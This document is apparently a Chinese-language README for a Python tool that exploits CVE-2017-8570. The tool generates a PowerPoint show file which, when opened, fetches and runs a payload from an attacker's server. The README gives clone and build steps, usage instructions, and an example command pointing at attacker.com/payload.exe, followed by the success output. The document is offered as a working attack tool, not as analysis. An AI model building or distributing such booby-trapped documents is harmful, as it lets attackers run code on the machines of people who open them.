作者:Temesgen Yibeltal [email protected](基于 https://github.com/bhdresh/CVE-2017-8570 的代码,该仓库现已删除)
ppsx-file-generator 是一个 Python 工具,它基于现有文件生成一个能够从远程源执行代码的 PowerPoint 幻灯片文件。
该工具根据用户提供的输入生成一个 PowerPoint 幻灯片文件和一个 XML 文件。PowerPoint 文件会访问包含载荷文件信息的 XML 文件。攻击者可以将 XML 文件和载荷部署在本地或公共服务器上,并为每个文件提供一个 URL 作为输入。
首先,获取代码:
git clone https://github.com/temesgeny/ppsx-file-generator.git
ppsx-file-generator 使用 Python 编写,需要 zipfile 包,可通过 Pip 安装:
pip install zipfile
需要 Microsoft Office PowerPoint 来执行此任务。
首先打开 Microsoft Office PowerPoint 并打开 'template.ppsx'。打开你自己的演示文稿,从 template.ppsx 中将图标 'Coder.exe' 复制到你的 PowerPoint 文件的第 1 张幻灯片中。将文件另存为 PowerPoint 放映(.ppsx)。然后使用 Python 工具:
Usage: generate_ppsx.py input_filename -o output_filename -p payload_uri -x xml_uri
input_filename 输入的 ppsx 文件名。
-o 输出的 .ppsx 文件名(包含 .ppsx)。
-p 载荷 exe 或 sct 文件的 URL。
必须位于可访问的 Web 服务器上。(XML 文件可选)
-x 由 ppsx 文件调用的完整 XML URI。
必须位于可访问的 Web 服务器上。(必选)
python generate_ppsx.py -o output.ppsx -p http://attacker.com/payload.exe -x http://attacker.com/content.xml input.ppsx
Generated content.xml successfully
Generated output.ppsx successfully